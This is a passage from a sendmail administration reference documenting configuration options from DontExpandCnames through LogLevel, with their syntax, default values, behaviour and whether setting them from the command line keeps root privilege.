34.8.18 DontExpandCnames

Prevent CNAME expansion

(V8.7 and above)

Ordinarily, the $[ and $] operators (see Section 28.6.6, "Canonicalize Hostname: $[ and $]") cause the enclosed hostname to be looked up with DNS and replaced with the canonical name for that host. The canonical name is the A DNS record. For example, consider these DNS records:

here.us.edu.    IN     A     123.45.67.89
ftp.us.edu.     IN     CNAME here.us.edu.

If the address ftp.us.edu is fed to the $[ and $] operators in the RHS of a rule:

R...      $[ $1 $]

then the rewritten result of passing ftp.us.edu as $1 will be the A record name here.us.edu. This behavior is correct under RFC822 and RFC1123, but the IETF is currently moving toward a change.

Sometimes it is important for the CNAME to appear in email headers as the canonical name. One example might be that of an FTP service moving from one machine to another during a transition phase. In that case, outgoing mail should appear to be from ftp.us.edu, because the records will change after the move, and we want to maintain the ability to reply to such mail.

here.us.edu.    IN     A     123.45.67.89       <-  retired and gone
ftp.us.edu.     IN     CNAME there.us.edu.
there.us.edu.   IN     A     123.45.67.90

Another possibility might be that of a mobile host (a workstation that plugs into different networks and thus has different A records over time):

mobile.us.edu.    IN     CNAME monday.dc.gov.
monday.dc.gov.    IN     A     12.34.56.78
tuesday.foo.com.  IN     A     23.45.67.89

Whenever this workstation is plugged in, its CNAME record is changed to point to the A record of the day: monday.dc.gov on Monday and tuesday.foo.com on Tuesday. But no matter what its A record happens to be, outgoing mail should look as though it came from mobile.us.edu.

The DontExpandCnames option causes sendmail to accept CNAME records as canonical. It is intended for use on sending hosts with special CNAME needs and should not be enabled without good reason. It is declared like this:

O DontExpandCnames=bool			    <-  configuration file (V8.7)
-ODontExpandCnames=bool			    <-  command line (V8.7)
define(`confDONT_EXPAND_CNAMES',bool)	    <-  V8 m4 configuration

The argument bool is of type Boolean. If bool is missing, the default is true (use the CNAME). If the entire DontExpandCnames option is missing, the default is false (convert CNAMEs to A records).

The DontExpandCnames option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.19 DontInitGroups

Don't use initgroups(3)

(V8.7 and above)

Just before executing any delivery agent (including the *include* delivery agent) and just before opening a ~/.forward file, sendmail sets its group and user identities as appropriate. To illustrate, consider the U= equate (see Section 30.4.13). If the fax delivery agent has the U= equate set like this:

U=fax:fax

its A= program will be executed by the user fax who is in the group fax. In addition, sendmail calls the initgroups(3) system call to expand the list of groups to which the user belongs. In the case of fax, it may also belong to the groups faxadm and faxusers. The total result is that fax can execute, read, and write any files that have the appropriate group permissions set for any of the groups fax, faxadm, and faxusers.

This versatility, however, has a price. As group files get huge or as nis, nisplus, or hesiod services become slow (probably because they are also large), the initgroups(3) call can start to adversely affect sendmail's performance.

When performance is a concern, the DontInitGroups option can be used to disable initgroups(3):

O DontInitGroups=bool      <-  configuration file
-ODontInitGroups=bool      <-  command line
define(`confDONT_INIT_GROUPS',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If it is missing, the default value is true - don't call initgroups(3). If the entire option is missing, the default value is false - do call initgroups(3). See Section 18.8.31, NO-GROUP-SET for a discussion of how NO_GROUP_SET determines whether or not this option also affects the getgrgid(3) system call.

The DontInitGroups option is not safe as of V8.8.4. Even if it is specified from the command line, may cause sendmail to relinquish its root privilege.

34.8.20 DontPruneRoutes (R)

Don't prune route addresses

(V8.1 and above)

One form of address is called a route address, because it specifies a route (sequence of hosts) through which the message should be delivered. For example:

@hostA,@hostB:user@hostC

This address specifies that the message should first go to hostA, then from hostA to hostB, and finally from hostB to hostC for delivery to user. [13]

[13] Also see how route addresses are handled in rules in Section 29.4.3, "Handling Routing Addresses" and the F=d delivery agent flag in Section 30.8.16, F=d).

RFC1123, in Section 5.3.3, specifies that delivery agents should always try to eliminate source routing when they are able. V8 sendmail takes an address like the above and checks to see whether it can connect to hostC directly. If it can, it rewrites the address like this:

user@hostC

This is called "pruning route addresses." There may be times when such pruning is inappropriate. Internal networks, for example, may be set up to encourage manual specification of a route through a high-speed network. If left to its own, sendmail always tosses the route and tries to connect directly.

The DontPruneRoutes (R) option causes sendmail to never prune route addresses. The forms of this option are as follows:

ORbool                                            <-  configuration file (old form)
-oRbool                                           <-  command line (old form)
O DontPruneRoutes=bool                            <-  configuration file (beginning with V8.7)
-ODontPruneRoutes=bool                            <-  command line (beginning with V8.7)
define(`confDONT_PRUNE_ROUTES',`bool')            <-  V8 m4 configuration

The argument bool is of type Boolean. If it is missing, the default value is true (nothing special is done with route addresses). If the entire R option is missing, the default becomes false (route addresses are pruned). With the V8 m4 configuration technique the default is false.

The DontPruneRoutes (R) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.21 DoubleBounceAddress

Errors when sending errors

(V8.8 and above)

Ordinarily, when sendmail sends error notification mail, it expects that error notification to be successfully delivered. Upon occasion, error mail itself will bounce or fail too. This is called a "double-bounce" situation. Prior to V8.8, sendmail would notify postmaster if error notification failed. But this might not be the best solution in all cases. Consider, for example, a site that has a sitewide postmaster and several departmental postmasters. In such situations, double-bounce mail should probably go to the sitewide postmaster.

Beginning with V8.8 sendmail, the DoubleBounceAddress option can be used to define who gets double-bounce mail:

O DoubleBounceAddress=addr                        <-  configuration file (beginning with V8.8)
-ODoubleBounceAddress=addr                        <-  command line (beginning with V8.8)
define(`confDOUBLE_BOUNCE_ADDRESS',`addr')        <-  V8 m4 configuration

Here, addr is of type string and is a comma-separated list of one or more email addresses. If addr is missing, the following error is printed and the option is ignored:

readcf: option DoubleBounceAddress: value required

If the entire option is missing, the default becomes postmaster. If sendmail is unable to send double-bounce mail to addr, it logs the following error:

cannot parse addr

The DoubleBounceAddress option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.22 EightBitMode (8)

How to convert MIME input

(V8.7 and above)

The data portion of an email message is transmitted during the DATA phase of an SMTP transaction. Prior to V8.6 the data were presumed to be 7-bit. That is, the high (8th) bit of every byte of the message could be cleared (reset or made zero) with no change in the meaning of that data. With the advent of ESMTP and MIME, it became possible for sendmail to receive data for which the preservation of the 8th bit is important.

There are two kinds of 8-bit data. Data that arrive with the high bit set and for which no notification was given are called "unlabeled" 8-bit data. Data for which notification was given (using 8BITMIME in the ESMTP session or with the -B8BITMIME command-line switch, see Section 36.7.1, -B, or with a MIME-Version: header in the message, see Section 35.10.21, MIME-Version:) are called "labeled."

The EightBitMode (8) option tells sendmail how to treat incoming unlabeled 8-bit data. The forms of this option are as follows:

O8key                                    <-  configuration file (V8,6)
-o8key                                   <-  command line (V8,6)
O EightBitMode=key                       <-  configuration file (beginning with V8.7)
-OEightBitMode=key                       <-  command line (beginning with V8.7)
define(`confEIGHT_BIT_HANDLING',key)     <-  m4 configuration

The key is mandatory and must be selected from one of those shown in Table 34.14. If the key is missing or if key is not one of those listed, sendmail will print the following error and ignore the option:

Unknown 8-bit mode char

Only the first character of the key is recognized, but we still recommend that the full word be used for clarity.

Table 34.14: EightBitMode Option Characters
Key Meaning
mimify Section 34.8.22.1, "EightBitMode=mimefy"

Do any necessary conversion of 8BITMIME to 7-bit

pass Section 34.8.22.2, "EightBitMode=pass"

Pass unlabeled 8-bit input through as is

strict Section 34.8.22.3, "EightBitMode=strict"

Reject unlabeled 8-bit input

If the entire EightBitMode (8) option is missing, the default becomes p (pass 8-bit and convert MIME). If you configure with V8's m4 technique, the default is also p.

Depending on the key selected and the nature of incoming mail, any of several error messages may be generated:

Eight bit data not allowed
Cannot send 8-bit data to 7-bit destination
host does not support 8BITMIME

Conversion from 8 to 7 bit is complex. First, sendmail looks for a MIME Content-Type: header. If the header is found, sendmail looks for and, if found, uses a MIME boundary definition to delimit conversion. [14] If more than 1/4 of a section has the high bit set after reading at least 4 kilobytes of data, sendmail presumes base64 encoding [15] and inserts the following MIME header into the data stream:

[14] A boundary is used only for multipart messages.

[15] Also see the $=q class (Section 32.5.5, $=q) for a way to require quoted-printable encoding.

Content-Transfer-Encoding: base64

Base64 encoding converts 8-bit data into a stream of 6-bit bytes that contain universally readable text. Base64 is described in RFC1521.

If less than 1/4 of the data that were scanned have the high bit set or if the type in the Content-Type: header is listed in $=q (Section 32.5.5), the data are converted from 8 to 7 bit by using Quoted-Printable encoding, and the following MIME header is inserted into the stream:

Content-Transfer-Encoding: quoted-printable

Under Quoted-Printable encoding, ASCII control characters (in the range 0x00 through 0x20), the tab character, the "=" character, and all characters with the high bit set are converted. First an "=" character is output, then the character is converted to an ASCII representation of its hexadecimal value, and that value is output. For example,

0xb9        ->  becomes   =B9

Under this scheme, the = character is considered binary and is encoded as =3D. If the F=3 flag (see Section 30.8.2, F=3) is set for a selected delivery agent, the characters

! " # $ @ \ [ ] ^ ` { | } ~

are also converted. If F=3 is not set, those characters are output as is.

Lines longer than 72 characters (bytes) are broken with the insertion of an "=" character and the E= end-of-line characters defined for the current delivery agent. Any lines that end in a whitespace character have that character converted to quoted-printable even if the line is under 72 characters. Quoted-printable is described in RFC1521. Where m (mimefy) may not be appropriate for a given delivery agent, the F=8 flag (see Section 30.8.5, F=8) can be specified to force p (pass8bit) behavior.

The EightBitMode (8) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.22.1 EightBitMode=mimefy

Convert unlabeled 8-bit input to 8BITMIME, and do any necessary conversion of 8BITMIME to 7-bit. When running as a daemon receiving mail via SMTP, advertise the 8BITMIME ESMTP keyword as valid. This key specifies that your site will be a full-time MIME installation. Note that compiling with MIME8TO1=1 (see Section 18.8.22, MIME8TO7) causes ESMTP to always advertise 8BITMIME.

34.8.22.2 EightBitMode=pass

Pass unlabeled 8-bit input through as is. Convert labeled 8BITMIME input to 7-bit as required by any delivery agent with the F=7 flag set (see Section 30.8.4, F=7) or any SMTP server that does not advertise 8BITMIME.

34.8.22.3 EightBitMode=strict

Reject unlabeled 8-bit input. Convert 8BITMIME to 7-bit as required by any delivery agent with the F=7 flag set (see Section 30.8.4) or any SMTP server that does not advertise 8BITMIME.

34.8.23 ErrorHeader (E)

Set error message header

(V8 and above)

When a notification of a mail error is sent to the sender, the details of the error are taken from the text saved in the xf file (see Section 23.2.7, "The Transcript File: xf"). The ErrorHeader (E) option, available only with V8 sendmail, allows you to prepend custom text ahead of that error text.

Custom error text is useful for sites that wish to offer help as part of the error message. For example, one common kind of error message is notification of an unknown user:

--- Transcript of session follows ---
550 smith@wash.dc.gov... User unknown
   --- Unsent message follows ---

Here, the user smith is one that is unknown. A useful error help message for your site to produce might be

Common problems:
        User unknown: the user or login name is wrong.
        Host unknown: you mistyped the host part of the address.
   --- Transcript of session follows ---
550 smith@wash.dc.gov... User unknown
   --- Unsent message follows ---

The forms for the ErrorHeader (E) option are as follows:

OEtext                                 <-  configuration file (V8.6)
-oEtext                                <-  command line (V8.6)
O ErrorHeader=text                     <-  configuration file (beginning with V8.7)
-OErrorHeader=text                     <-  command line (beginning with V8.7)
define(`confERROR_MESSAGE',`text')     <-  V8 m4 configuration

The argument text is mandatory. If it is missing, this option is ignored. The text is either the actual error text that is printed or the name of a file containing that text. If text begins with the / character, it is taken as the absolute pathname of the file (a relative name is not possible). If the specified file cannot be opened for reading, this option is silently ignored.

Macros may be used in the error text, and they are expanded as they are printed. For example, the text might contain

For help with $u, try "finger $u"

which might produce this error message:

For help with smith@wash.dc.gov, try "finger smith@wash.dc.gov"
   --- Transcript of session follows ---
550 smith@wash.dc.gov... User unknown
   --- Unsent message follows ---

The ErrorHeader (E) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.24 ErrorMode (e)

Specify mode of error handling

(All versions)

The sendmail program is flexible in its handling of delivery errors. By selecting from five possible modes with the ErrorMode (e) option, you can tailor notification of delivery errors to suit many needs.

This option is intended primarily for use from the command line. If included in the configuration file, it should be given only the p argument, for print mode (the default).

The forms of the ErrorMode (e) option are as follows:

Oemode                            <-  configuration file (old form)
-oemode                           <-  command line (old form)
-emode                            <-  command-line shorthand (not recommended)
O ErrorMode=mode                  <-  configuration file (beginning with V8.7)
-OErrorMode=mode                  <-  command line (beginning with V8.7)
define(`confERROR_MODE',mode)     <-  V8 m4 configuration

The type of mode is character. If mode is missing, the default value is p (for print normally). Under older versions of sendmail, if this ErrorMode (e) option is entirely missing, the default value for mode is the C language character constant '\0'. Under V8 sendmail, the default value in this case is p.

The possible characters for the mode argument are listed in Table 34.15.

Table 34.15: ErrorMode Option Modes
Mode Meaning
e Section 34.8.24.1, "ErrorMode=e"

Like m, but always exit with a zero exit status

m Section 34.8.24.2, "ErrorMode=m"

Mail error notification to the sender no matter what

p Section 34.8.24.3, "ErrorMode=p"

Print error messages (the default)

q Section 34.8.24.4, "ErrorMode=q"

Remain silent about all delivery errors

w Section 34.8.24.5, "ErrorMode=w"

Write errors to the sender's terminal screen

Note that the error-handling mode is automatically set to m (for mail errors) in two special circumstances. First, if a mailing list is being processed and if an owner is found for that list (see Section 25.3, "Defining a Mailing List Owner"), the mode is set to m to force mail notification to that owner. Second, if SMTP delivery is to multiple recipients, the mode is set to m to force mail notification to the sender. This latter assumes that multiple recipients qualify as a mailing list.

Also note that V8 sendmail sets the error-handling mode to q (for quiet) when sendmail is given the -bv (address verification) command line switch. This prevents spurious error messages from being mailed to root in testing addresses.

The ErrorMode (e) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.24.1 ErrorMode=e

Like m, but always exit with a zero exit status. This mode is intended for use from the command line. This e mode is used by the rmail(8) program when it invokes sendmail. On some systems, if sendmail exits with a nonzero value (fails), the uuxqt(8) program sends its own error message. This results in two error messages being sent, whereas only one should ever be sent. Worse still, the error message from uuxqt may contain a bad address, one that may itself bounce.

34.8.24.2 ErrorMode=m

Mail error notification to the sender no matter what. This mode tries to find the most rational way to return mail. All aliasing is disabled to prevent loops. Nothing is ever saved to ~/dead.letter. This mode is intended for use from the command line. The m mode is appropriate for mail generated by an application that arises from a login but for which no human is present to monitor messages. One example might be a data-acquisition system that is manually logged in but is then left to fend for itself. Similarly, when the user news sends articles by mail, error messages should not be placed in ~news/dead.letter, where they may be overlooked; rather, this mode should be used so that errors are placed in a mail spool file where they can be periodically monitored.

34.8.24.3 ErrorMode=p

Print error messages (the default). The sendmail program simply tries to save a copy of the failed mail in ~/dead.letter and prints an error message to its standard output. If the sender is remote, it sends notification of the problem back to that sender via email. If ~/dead.letter is not writable, a copy is saved to /usr/tmp/dead.letter. Note that this default path was hard-coded into pre-V8 versions of sendmail as a string constant. The only way to change it was by editing savemail.c. But beginning with V8 sendmail, the path component is defined by the _PATH_VARTMP definition, and that can be tuned in your Makefile (see Section 18.8.34, PATH...). The default for _PATH_VARTMP is /usr/tmp/. The file named dead.letter is hard-coded in all versions of sendmail.

34.8.24.4 ErrorMode=q

Quiet; remain silent about all delivery errors. If the sender is local, this mode assumes that the program or person that ran sendmail will give notification of the error. Mail is not sent, and ~/dead.letter is not saved. Error information is provided only in the sendmail program's exit(2) status (see Section 36.5, "sendmail's exit() Status"). This mode is intended for use from the command line. One possible use might be exploding a junk-mail mailing list with a program that could correctly interpret the exit status.

34.8.24.5 ErrorMode=w

Write errors to the sender's terminal screen if logged in (similar to write(1)); otherwise, send mail to that user. First tries to write to stdout. If that fails, it reverts to mail notification. This mode is intended for use from the command line. The reason for this mode has been lost to history, [16] and it should be considered obsolete.

[16] According to Eric Allman, "Dubious, someone bugged me for it; I forget why."

34.8.25 FallbackMXhost (V)

Fallback MX host

(V8.4 and above)

At sites with poor (connect on demand, or unreliable) network connections, SMTP connections may often fail. In such situations it may not be desirable for each workstation to queue the mail locally for a later attempt. Under V8 sendmail it is possible to specify a fallback host to which the mail should instead be forwarded. One such host might be a central mail hub machine.

The FallbackMXhost (V) option specifies the name of a mail exchanger machine (MX record) of last resort. It is given an artificially low priority (high preference number) so that sendmail tries to connect to it only if all other connection attempts for the target host have failed.

Note that this fallback MX host is used only for connection failures. It is not used if the name server lookup failed. It is available only for the [IPC] delivery agent (see Section 30.4.1.2, "$h and other arguments in A=[IPC]"). Note that MX lookups are available only if sendmail is compiled with NAMED_BIND defined (see Section 18.8.23, NAMED-BIND).

The forms of the FallbackMXhost (V) option are as follows:

OVhost                               <-  configuration file (V8.6)
-oVhost                              <-  command line (V8.6)
O FallbackMXhost=host                <-  configuration file (beginning with V8.7)
-OFallbackMXhost=host                <-  command line (beginning with V8.7)
define(`confFALLBACK_MX',`host')     <-  V8 m4 configuration

Here, host is of type string and is the fully qualified domain name of the fallback host. If host or the entire option is missing, no fallback MX record is used. The effect of this option can be seen by using the /mx rule-testing command (see Section 38.5.2, "Look Up MX Records with /mx").

The FallbackMXhost (V) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.26 ForkEachJob (Y)

Process queue files individually

(All versions)

On machines with a small amount of memory (such as 3B1s and old Sun 3s) it is best to limit the size of running processes. One way to do this is to have the sendmail program fork(2) a copy of itself to handle each individual queued message. The ForkEachJob (Y) option can be used to allow those fork(2)'s.

The forms of the ForkEachJob (Y) option are as follows:

OYbool                               <-  configuration file (old style)
-oYbool                              <-  command line (old style)
O ForkEachJob=bool                   <-  configuration file (beginning with V8.7)
-OForkEachJob=bool                   <-  command line (beginning with V8.7)
define(`confSEPARATE_PROC',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If bool is missing, the default is true (fork). The default for the V8 m4 technique is true. If the entire ForkEachJob (Y) option is missing, the default is false (don't fork).

If option ForkEachJob (Y) is set (true), there is a fork(2) to start processing of the queue, then another fork(2) to process each message in the queue. If option ForkEachJob (Y) is not set (false), only the initial fork(2) takes place, greatly improving the efficiency of a queue run. For example, a single process (as with ForkEachJob (Y) false) retains information about down hosts and so does not waste time trying to connect again for subsequent mail to the same host during the current queue run. For all modern machines the ForkEachJob (Y) option should be false.

The ForkEachJob (Y) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.27 ForwardPath (J)

Set ~/.forward search path

(V8 and above)

When mail is being delivered to a local user, sendmail attempts to open and read a file in the user's home directory called .forward. If that file exists and is readable, the aliases in that file replace the local username for delivery.

Under V8 sendmail the ForwardPath (J) option is used to define alternative locations for the user's ~/.forward file.

The forms of the ForwardPath (J) option are as follows:

OJpath                              <-  configuration file (V8.6)
-oJpath                             <-  command line (V8.6)
O ForwardPath=path                  <-  configuration file (beginning with V8.7)

-OForwardPath=path                  <-  command line (beginning with V8.7)
define(`confFORWARD_PATH',path)     <-  V8 m4 configuration

The path is a colon-separated list of files. An attempt is made to open and read each in turn, from left to right, until one is successfully read:

OJ/var/forward/$u:$z/.forward

Macros may, and should, be used in the path file locations. In the above example, sendmail first looks in the file /var/forward/$u (where the macro $u contains the user's login name; see Section 31.10.36, $u). If that file can't be opened for reading, sendmail tries reading $z/.forward (where the $z macro contains the user's home directory; see Section 31.10.46, $z). Other macros of interest are $w (the local hostname; see Section 31.10.40, $w), $x (the user's full name; see Section 31.10.14, $f), $r (the sending protocol; see Section 31.10.31, $r), and $s (the sending host; see Section 31.10.33, $s). The recommended declaration is to use the name of the sending host thus:

OJ$z/.forward.$w:$z/.forward

If the path or the entire option is omitted, the default is $z/.forward. Therefore omitting the ForwardPath (J) option causes V8 sendmail to emulate older versions by looking only in the ~/.forward file for user forwarding information.

Beginning with V8.7 sendmail, the F=w delivery agent flag (see Section 30.8.43, F=w) must be set for the recipient's delivery agent, or all forwarding is skipped. Previously, this was tied to the delivery agent named local.

The ForwardPath (J) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.28 HelpFile (H)

Specify location of the help file

(All versions)

The sendmail program implements the SMTP (and ESMTP) HELP command by looking up help messages in a text file. Beginning with V8.7 sendmail, help messages for the -bt rule-testing mode are also looked up in that file. The location and name of that text file are specified by using the HelpFile (H) option. If the name is the C language value NULL or if sendmail cannot open that file for reading, sendmail issues the following message and continues:

502 HELP not implemented

The help file is composed of lines of text, separated by tab characters into two fields per line. The leftmost field is an item for which help is offered. The rightmost field (the rest of the line) is the help text to be printed. A few lines in a typical help file might look like this:

.ps 8
rset   RSET
rset          Resets the system.
quit   QUIT
quit          Exit sendmail (SMTP).
verb   VERB
verb          Go into verbose mode.  This sends 0xy responses that are
verb          not RFC821 standard (but should be). They are recognized
verb          by humans and other sendmail implementations.
vrfy   VRFY <recipient>
vrfy          Verify an address.  If you want to see what it aliases
vrfy          to, use EXPN instead.

For an SMTP request of help vrfy, sendmail might produce

214-VRFY <recipient>
214-     Verify an address.  If you want to see what it aliases
214-     to, use EXPN instead.
214 End of HELP info

The forms of the HelpFile (H) option are as follows:

OHfile                         <-  configuration file (old form)
-oHfile                        <-  command line (old form)
O HelpFile=file                <-  configuration file (beginning with V8.7)
-OHelpFile=file                <-  command line (beginning with V8.7)
define(`HELP_FILE',`file')     <-  V8 m4 configuration

The argument file is of type string and may be a full or relative pathname. Relative names are always relative to the queue directory. If file is omitted, then the name of the help file defaults to sendmail.hf. If the entire H option is omitted, the name of the help file becomes the C language value NULL. The Simple Mail Transfer Protocol (SMTP) is described in RFC821, and Extended SMTP (ESMTP) is described in RFC1869.

The HelpFile (H) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.29 HoldExpensive (c)

Queue for expensive mailers

(All versions)

An expensive mailer is a delivery agent that contains an e flag in its F= equate (see Section 30.8.18, F=e). Typically, such delivery agents are associated with slow network connections such as SL/IP or with costly networks such as those with high per connect or connection startup rates. Whatever the reason, the HoldExpensive (c) option allows you to queue all such mail for later delivery rather than connecting on demand. (Queuing is described in Chapter 23.)

Note that this option affects only the initial delivery attempt, not later attempts when the queue is processed. Essentially, all this option does is to defer delivery until the next time the queue is processed.

The forms of the HoldExpensive (c) option are as follows:

Ocbool                               <-  configuration file (old form)
-ocbool                              <-  command line (old form)
-c                                   <-  command-line shorthand (not recommended)
O HoldExpensive=bool                 <-  configuration file (beginning with V8.7)
-OHoldExpensive=bool                 <-  command line (beginning with V8.7)
define(`confCON_EXPENSIVE',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If the bool argument is missing, the default is true (expensive mail is queued). If the entire HoldExpensive (c) option is missing, the default value is false (expensive mail is delivered immediately).

The -v (verbose) command-line switch automatically sets the HoldExpensive (c) option to false. The HoldExpensive (c) option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.30 HostsFile

Specify alternate /etc/hosts file

(V8.7 and above)

When canonifying a host's name, sendmail will use the method described under the ServiceSwitchFile option (see Section 34.8.61). When that method is files, sendmail parses the /etc/hosts file to find the canonical name. If a different file should be used on your system, you can specify it with this HostsFile option:

O HostsFile=path                 <-  configuration file (beginning with V8.7)
-OHostsFile=path                 <-  command line (beginning with V8.7)
define(`confHOSTS_FILE',path)    <-  V8 m4 configuration

Here, path is of type string. If path is missing, the name of the /etc/hosts file becomes an empty string. If the entire option is missing, the default is the value that was given to _PATH_HOSTS when sendmail was compiled (see Section 18.8.34). If the path cannot be opened for reading (for any reason at all), host canonification by this method is silently skipped.

One example of a use for the HostsFile option would be to use a switched-service file to cause all host lookups to use DNS first, then files:

hosts:    dns files

In that case you would use a special file to hold information about internal hosts that are not known to DNS. Such a file might look like this:

123.45.67.89	secret.internal.host.domain

This special file would be defined with the HostsFile option.

The HostsFile option is not safe. If specified from the command line, it may cause sendmail to relinquish its root privilege.

34.8.31 HostStatusDirectory

Location of persistent host status

(V8.8 and above)

The process of delivering network mail requires that sendmail fork(2) so that the child process can handle the queue. Then, if the ForkEachJob (Y) option (see Section 34.8.26) is true, each job in the queue has to fork(2) again so that each child-of-a-child can perform each task. Internally, sendmail maintains tables of status information about network hosts (such as whether the host is up or down or refusing connections). A problem can arise when multiple queue-processing children are running. Because they are separate processes, their separate children lack access to the common pool of host information that is stored internally by each parent. [17]

[17] Also status information from previous queue runs is lost.

One solution is to store host status information externally so that all children can access it. Inspired by KJS sendmail, V8.8 has introduced the HostStatusDirectory option. This option both tells sendmail that it should save host status information externally and defines where that information will be stored on disk.

The form for the HostStatusDirectory option looks like this:

O HostStatusDirectory=path                       <-  V8.8 and above
define(`confHOST_STATUS_DIRECTORY', `path')      <-  V8 m4 technique

Here, path is of type string and, if present, specifies the base directory under which host status will be stored. This may be a full or relative path specification. If it is a relative path, it is interpreted as relative to the queue directory. If path is omitted or if the entire option is omitted, the default is that no persistent host information will be saved. If path does not exist or if it exists and is not a directory, sendmail will then print the following error and will store no persistent host information:

Cannot use HostStatusDirectory = path: reason here

The form of the information stored and the way files and directories under this base directory are named are detailed in Appendix Appendix B, Host Status File Internals. Note that the status information in this directory can be printed with the hoststat(1) command (see Section 36.1.1, "hoststat (V8.8 and Above)"). Also note that the HostStatusDirectory option will not work if the ConnectionCacheSize option (see Section 34.8.10) is set to zero:

Warning: HostStatusDirectory disabled with ConnectionCacheSize = 0

Note that on machines that send out a great deal of mail, you should probably compare performance with and without this option enabled and base your decision to use it on the result. Also note that this option is required if you wish to also use the SingleThreadDelivery option (see Section 34.8.64).

Avoid using a directory that is on a tmpfs file system (prior to Sun Solaris 2.5), because file locking is not supported. Avoid using a directory that is on an nfs file system, because record locking is unreliable and single-threaded and can add extra RPC traffic.

The HostStatusDirectory option is not safe. If it is specified from the command line, it may cause sendmail to give up its root privilege.

34.8.32 IgnoreDots (i)

Ignore leading dots in messages

(All versions)

There are two ways that sendmail can detect the end of a mail message: by noting an end-of-file (EOF) condition or by finding a line composed of a single dot. According to the SMTP and ESMTP protocols (RFC821), the end of the mail data is indicated by sending a line containing only a period. The IgnoreDots (i) option tells sendmail to treat any line that contains only a single period as ordinary text, not as an end-of-file indicator.

This option is used from the command line to prevent sendmail from wrongly thinking that a message is complete when collecting the message from its standard input. This differs from the correct behavior when sendmail is reading from an SMTP connection. Over SMTP a lone dot must signal the end of the message.

This option is intended for use from the command line. This option should be used in the configuration file only for sites that have no SMTP network connections. But V8 sendmail has built-in protection. If this option is specified in the configuration file, it is automatically forced false for all SMTP connections.

The forms of the i option are as follows:

Oibool                             <-  configuration file (old form)
-oibool                            <-  command line (old form)
-i                                 <-  command-line
shorthand (deprecated)
O IgnoreDots=bool                  <-  configuration file (beginning with V8.7)
-OIgnoreDots=bool                  <-  command line (beginning with V8.7)
define(`confIGNORE_DOTS',bool)     <-  V8 m4 configuration

The argument bool is of type Boolean. If bool is missing, the default value is true (ignore leading dots). If the IgnoreDots (i) option is entirely omitted, the default is false (recognize leading dots as special).

The IgnoreDots (i) option is safe. Even if it is specified from the command line, sendmail retains its root privilege.

34.8.33 LogLevel (L)

Set (increase) logging level

(All versions)

The sendmail program is able to log a wide variety of information about what it is doing. There is no default file for recording information. Instead, sendmail sends all such information via the UNIX syslog(3) mechanism. The disposition of messages by syslog is determined by information in the file /etc/syslog.conf (see Section 26.1.2, "Tuning syslog.conf"). One common scheme places noncritical messages /var/log/syslog but routes important messages to /dev/console or /var/adm/messages.

The meaningful values for the logging level, and their syslog priorities, are outlined below. [18] Higher logging levels include the lower logging levels. For example, logging level 2 also causes level 1 messages to be logged.

[18] Note that the pre-V8 organization differs and is not covered in this book.

0

Minimal logging. See Section 34.8.33.1, "What is logged at LogLevel=0" for examples of what is logged at this setting.

1

Serious system failures and security problems logged at LOG_CRIT or LOG_ALERT.

2

Communication failures, (e.g., lost connections or protocol failures) logged at LOG_CRIT.

3

Malformed addresses logged at LOG_NOTICE. Transient forward/include errors logged at LOG_ERROR. Connect timeouts logged at LOG_NOTICE.

4

Malformed qf filenames and minor errors logged at LOG_NOTICE. Out of date alias databases logged at LOG_INFO. Connection rejections (via libwrap.a or one of the check_ rule sets) logged at LOG_NOTICE.

5

A record of each message received logged at LOG_INFO. Envelope cloning logged at LOG_INFO.

6

SMTP VRFY attempts and messages returned to the original sender logged at LOG_INFO. The ETRN and EXPN ESMTP commands logged at LOG_INFO.

7

Delivery failures, excluding mail deferred because of the lack of a resource, logged at LOG_INFO.

8

Successful deliveries logged at LOG_INFO. Alias database rebuilds logged at LOG_NOTICE.

9

Mail deferred because of a lack of a resource logged at LOG_INFO.

10

Each key as looked up in a database, and the result of each lookup, logged at LOG_INFO.

11

All nis errors logged at LOG_INFO. The end of processing (job deletion) logged at LOG_INFO.

12

SMTP connects logged at LOG_INFO.

13

Log bad user shells, world-writable files, and other questionable situations.

14

Connection refusals logged at LOG_INFO.

15

All incoming and outgoing SMTP commands and their arguments logged at LOG_INFO.

16-98

Debugging information. You'll need the source to understand this logging. You can grep(1) LogLevel in all the .c files to find interesting things to look for. These are logged at LOG_DEBUG.

The forms of the LogLevel (L) option are as follows:

OLlev                           <-  configuration file (old form)
-oLlev                          <-  command line (old form)
O LogLevel=lev                  <-  configuration file (beginning with V8.7)
-OLogLevel=lev                  <-  command line (beginning with V8.7)
define(`confLOG_LEVEL',lev)     <-  V8 m4 configuration

The type for lev is numeric and defaults to 0. For the m4 technique the default is 9. Negative values are equivalent to a logging level of 0.

Logging is effective only if sendmail is compiled with LOG defined in conf.h (see Section 18.8.16, LOG). The -d0.1 debugging switch (see Section 37.5.1, -d0.1) can be used to see if LOG was defined for your system.

The LogLevel (L) option is safe. Even if it is specified from the command line, sendmail retained its root privilege. For security reasons the logging level of V8.6 and above sendmail can be increased from the command line but not decreased. [19]

[19] V8.7.3 sendmail was released with the LogLevel (L) option set as not safe.

34.8.33.1 What is logged at LogLevel=0

Because of their severe nature, some errors and problems are logged even though the LogLevel (L) option is set to zero. Specifically, problems with $j and $=w that are checked if sendmail was compiled with XDEBUG defined:

daemon process doesn't have $j in $=w; see syslog
daemon process $j lost dot; see syslog

Failure to find your unqualified hostname or qualified domain:

My unqualified host name (my host name) unknown
unable to qualify my own domain name (my host name) - using short name

If the daemon was invoked without a full pathname:

daemon invoked without full pathname; kill -1 won't work

Normal startup of the daemon:

starting daemon (version): how

File descriptor failure if sendmail was compiled with XDEBUG defined:

subroutine: fd number not open

Possible attacks based on a newline in a string:

POSSIBLE ATTACK from address: newline in string "string here"

